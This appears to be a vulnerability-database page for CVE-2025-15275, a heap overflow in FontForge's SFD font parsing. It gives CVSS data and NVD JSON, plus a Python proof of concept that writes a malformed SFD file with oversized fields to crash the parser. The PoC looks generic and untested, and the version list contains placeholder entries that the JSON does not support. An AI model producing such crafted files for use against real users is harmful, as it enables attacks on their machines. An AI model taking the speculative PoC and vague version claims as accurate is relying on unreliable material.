Security Vulnerability Report
中文
CVE-2025-15275 CVSS 8.8 HIGH

CVE-2025-15275

Published: 2025-12-31 07:15:52
Last Modified: 2026-01-07 16:04:59

Description

FontForge SFD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of SFD files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28543.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:* - VULNERABLE
FontForge < 最新修复版本
FontForge 2020xxxx 系列
FontForge 2021xxxx 系列
FontForge 2022xxxx 系列
FontForge 2023xxxx 系列
FontForge 2024xxxx 系列

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-15275 PoC - FontForge SFD File Parsing Heap-based Buffer Overflow This PoC generates a malicious SFD file that triggers a heap buffer overflow when parsed by FontForge. WARNING: For educational and security research purposes only. Do not use this code for malicious activities. """ import struct import os def create_malicious_sfd(output_path): """ Generate a malicious SFD file that triggers heap buffer overflow in FontForge's SFD parsing functionality. """ # SFD file header sfd_content = "SplineFontDB: 3.0\n" # Font name section with overflow data # The vulnerability exists in parsing string lengths before copying to heap buffer overflow_string = "A" * 10000 # Excessive length to trigger overflow sfd_content += f"FontName: {overflow_string}\n" sfd_content += f"FullName: MaliciousFont\n" sfd_content += f"FamilyName: TestFamily\n" sfd_content += f"Weight: Medium\n" # Add spline count to make it look like valid font data sfd_content += "Splines: 100\n" # CharData section with additional overflow triggers sfd_content += f"BeginChars: 256 100\n" for i in range(10): sfd_content += f"StartChar: char{i}\n" sfd_content += f"Encoding: {i} {i} {i}\n" # Overflow in unicode encoding field sfd_content += f"UnicodeEnc: {0x41 + i}\n" sfd_content += f"Width: {overflow_string}\n" sfd_content += "EndChar\n" sfd_content += "EndChars\n" # Write the malicious SFD file with open(output_path, 'w', encoding='utf-8') as f: f.write(sfd_content) print(f"[+] Malicious SFD file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print(f"[+] Overflow string length: {len(overflow_string)}") def verify_sfd_structure(file_path): """Verify the generated SFD file has the expected structure.""" with open(file_path, 'r', encoding='utf-8') as f: content = f.read() print("\n[+] SFD File Structure Verification:") print(f" - Header: {content.split(chr(10))[0]}") print(f" - Contains FontName: {'FontName:' in content}") print(f" - Contains Splines: {'Splines:' in content}") print(f" - Contains BeginChars: {'BeginChars:' in content}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-15275 FontForge SFD Heap Overflow PoC Generator") print("=" * 60) output_file = "CVE-2025-15275_malicious.sfd" create_malicious_sfd(output_file) verify_sfd_structure(output_file) print("\n[!] Usage: Open this file with FontForge to trigger the vulnerability") print("[!] Note: Actual exploitation may require additional techniques")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15275", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:51.710", "lastModified": "2026-01-07T16:04:59.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge SFD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of SFD files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28543."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo en el análisis de archivos SFD de FontForge. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica reside en el análisis de archivos SFD. El problema se debe a la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del usuario actual. Fue ZDI-CAN-28543."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:*", "matchCriteriaId": "F1A9337A-AD25-4C56-964A-CCD44CEF611F"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1189/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}